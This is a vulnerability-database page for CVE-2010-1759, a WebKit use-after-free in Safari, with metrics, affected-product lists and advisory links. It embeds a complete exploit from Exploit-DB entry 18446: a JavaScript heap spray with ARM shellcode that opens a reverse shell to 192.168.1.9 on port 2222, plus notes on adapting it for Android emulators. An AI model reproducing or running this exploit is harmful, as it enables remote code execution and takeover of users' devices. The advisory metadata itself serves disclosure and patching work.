CVE-2010-1759 : Detail

CVE-2010-1759

34.77%V4
Network
2010-06-11
17h00 +00:00
2017-09-18
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Use-after-free vulnerability in WebKit in Apple Safari before 5.0 on Mac OS X 10.5 through 10.6 and Windows, and before 4.1 on Mac OS X 10.4, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via vectors related to the Node.normalize method.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 18446

Publication date : 2012-01-31 23h00 +00:00
Author : MJ Keith
EDB Verified : No

<!-- CVE-2010-1759 webkit normalize bug Tested on Moto Droidx2 running 2.2. Droidx2 running 2.3 is vulnerable but exploit fails due to non-executable heap. Still working on a way around that :) 2.1 - 2.3 emulator. The changes needed are documented in the code. The emulator is less consistent than the real phone Author: MJ Keith mjkeith[at]evilhippie.org --> <p>LOADING... </p> <div id="test1"></div> <div id="test2"></div> <div id="test3"></div> <script> var elem1 = document.getElementById("test1"); var elem2 = document.getElementById("test2"); var elem3 = document.getElementById("test3"); function spray() { for (var i = 0; i < 180000; i++) {var s = new String(unescape("\u0052\u0052")); } // "\u0056\u0056" FOR EMULATOR var scode = unescape("\u5200\u5200"); // "\u0058\u0058" FOR EMULATOR var scode2 = unescape("\u5005\ue1a0"); var shell = unescape("\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002"); shell += unescape("\uae08"); // Port = 2222 shell += unescape("\ua8c0\u0901"); // IP = 192.168.1.9 // "\u000a\u0202" FOR EMULATOR shell += unescape("\u2000\u2000"); // Port = 2222 do { scode += scode; scode2 += scode2; } while (scode.length<=0x1000); scode2 += shell target = new Array(); for(i = 0; i < 141; i++){ // CHANGE 141 TO 201 FOR EMULATOR if (i<100){ target[i] = scode;} if (i>100){ target[i] = scode2;} document.write(target[i]); document.write("<br />"); if (i>140){ // CHANGE 140 TO 200 FOR EMULATOR document.write("<br />");} } } function handler1() { elem1.removeAttribute("b"); spray(); } function handler2() { elem2.removeAttribute("b"); spray(); } function handler3() { elem3.removeAttribute("b"); spray(); } function slowdown() { for (var i = 0; i < 120; i++) { console.log('slow' + i); if (i > 110 ){ elem1.normalize(); elem2.normalize(); elem3.normalize(); } } } elem1.setAttribute("b", "a"); elem1.attributes[0].appendChild(document.createTextNode("hi")); elem1.attributes[0].addEventListener("DOMSubtreeModified", handler2, false); document.body.offsetTop; slowdown(); // COMMENT OUT THIS FUNCTION CALL FOR EMULATOR //elem1.normalize(); // UN-COMMENT THIS LINE FOR EMULATOR document.body.offsetTop; elem2.setAttribute("b", "a"); elem2.attributes[0].appendChild(document.createTextNode("hi")); elem2.attributes[0].addEventListener("DOMSubtreeModified", handler2, false); document.body.offsetTop; elem2.normalize(); elem3.setAttribute("b", "a"); elem3.attributes[0].appendChild(document.createTextNode("hi")); elem3.attributes[0].addEventListener("DOMSubtreeModified", handler3, false); document.body.offsetTop; elem3.normalize(); </script>

Products Mentioned

Configuraton 0

Apple>>Safari >> Version To (including) 4.0.5

Apple>>Safari >> Version 4.0

Apple>>Safari >> Version 4.0.0b

Apple>>Safari >> Version 4.0.1

Apple>>Safari >> Version 4.0.2

Apple>>Safari >> Version 4.0.3

Apple>>Safari >> Version 4.0.4

Apple>>Webkit >> Version *

Apple>>Mac_os_x >> Version 10.5

Apple>>Mac_os_x >> Version 10.5.0

Apple>>Mac_os_x >> Version 10.5.1

Apple>>Mac_os_x >> Version 10.5.2

Apple>>Mac_os_x >> Version 10.5.3

Apple>>Mac_os_x >> Version 10.5.4

Apple>>Mac_os_x >> Version 10.5.5

Apple>>Mac_os_x >> Version 10.5.6

Apple>>Mac_os_x >> Version 10.5.7

Apple>>Mac_os_x >> Version 10.5.8

Apple>>Mac_os_x >> Version 10.6.0

Apple>>Mac_os_x >> Version 10.6.1

Apple>>Mac_os_x >> Version 10.6.2

Apple>>Mac_os_x >> Version 10.6.3

Apple>>Mac_os_x_server >> Version 10.5

Apple>>Mac_os_x_server >> Version 10.5.0

Apple>>Mac_os_x_server >> Version 10.5.1

Apple>>Mac_os_x_server >> Version 10.5.2

Apple>>Mac_os_x_server >> Version 10.5.3

Apple>>Mac_os_x_server >> Version 10.5.4

Apple>>Mac_os_x_server >> Version 10.5.5

Apple>>Mac_os_x_server >> Version 10.5.6

Apple>>Mac_os_x_server >> Version 10.5.7

Apple>>Mac_os_x_server >> Version 10.5.8

Apple>>Mac_os_x_server >> Version 10.6.0

Apple>>Mac_os_x_server >> Version 10.6.1

Apple>>Mac_os_x_server >> Version 10.6.2

Apple>>Mac_os_x_server >> Version 10.6.3

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Configuraton 0

Apple>>Safari >> Version To (including) 4.0.5

Apple>>Safari >> Version 4.0

Apple>>Safari >> Version 4.0.0b

Apple>>Safari >> Version 4.0.1

Apple>>Safari >> Version 4.0.2

Apple>>Safari >> Version 4.0.3

Apple>>Safari >> Version 4.0.4

Apple>>Webkit >> Version *

Apple>>Mac_os_x >> Version 10.4

Apple>>Mac_os_x >> Version 10.4.0

Apple>>Mac_os_x >> Version 10.4.1

Apple>>Mac_os_x >> Version 10.4.2

Apple>>Mac_os_x >> Version 10.4.3

Apple>>Mac_os_x >> Version 10.4.4

Apple>>Mac_os_x >> Version 10.4.5

Apple>>Mac_os_x >> Version 10.4.6

Apple>>Mac_os_x >> Version 10.4.7

Apple>>Mac_os_x >> Version 10.4.8

Apple>>Mac_os_x >> Version 10.4.9

Apple>>Mac_os_x >> Version 10.4.10

Apple>>Mac_os_x >> Version 10.4.11

Apple>>Mac_os_x_server >> Version 10.4

Apple>>Mac_os_x_server >> Version 10.4.0

Apple>>Mac_os_x_server >> Version 10.4.1

Apple>>Mac_os_x_server >> Version 10.4.2

Apple>>Mac_os_x_server >> Version 10.4.3

Apple>>Mac_os_x_server >> Version 10.4.4

Apple>>Mac_os_x_server >> Version 10.4.5

Apple>>Mac_os_x_server >> Version 10.4.6

Apple>>Mac_os_x_server >> Version 10.4.7

Apple>>Mac_os_x_server >> Version 10.4.8

Apple>>Mac_os_x_server >> Version 10.4.9

Apple>>Mac_os_x_server >> Version 10.4.10

Apple>>Mac_os_x_server >> Version 10.4.11

References

http://www.mandriva.com/security/advisories?name=MDVSA-2011:039
Tags : vendor-advisory, x_refsource_MANDRIVA
http://support.apple.com/kb/HT4220
Tags : x_refsource_CONFIRM
http://www.vupen.com/english/advisories/2010/2722
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/43068
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-1006-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/41856
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0212
Tags : vdb-entry, x_refsource_VUPEN
http://support.apple.com/kb/HT4225
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/40196
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/40105
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/1373
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2010/1512
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/40620
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2011/0552
Tags : vdb-entry, x_refsource_VUPEN
http://securitytracker.com/id?1024067
Tags : vdb-entry, x_refsource_SECTRACK
http://support.apple.com/kb/HT4196
Tags : x_refsource_CONFIRM